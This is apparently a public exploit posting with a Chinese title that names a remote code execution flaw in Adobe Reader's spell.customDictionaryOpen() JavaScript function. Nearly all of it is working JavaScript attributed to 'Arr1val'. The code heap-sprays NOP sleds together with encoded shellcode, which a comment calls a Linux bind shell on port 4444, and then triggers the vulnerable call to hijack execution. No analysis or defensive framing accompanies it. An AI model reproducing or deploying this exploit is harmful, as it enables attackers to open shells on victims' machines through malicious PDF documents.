Adobe Reader 'spell.customDictionaryOpen()' Javascript函数远程代码执行漏洞

//############## //Exploit made by Arr1val //Proved in adobe 9.1 and adobe 8.1.4 on linux //############## var memory; function New_Script() { var nop = unescape("%u9090%u9090"); var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444 while(nop.length <= 0x10000/2) nop+=nop; nop=nop.substring(0,0x10000/2 - shellcode.length); memory=new Array(); for(i=0;i<0x6ff0;i++) {memory[i]=nop + shellcode;} //start exploit now start(); function start() { this.spell.customDictionaryOpen(0,nop);//so the exploit jumps actually to 0x90909090. Place a very long 'AAAA' at the second param to go to 0x41414141 ;) } }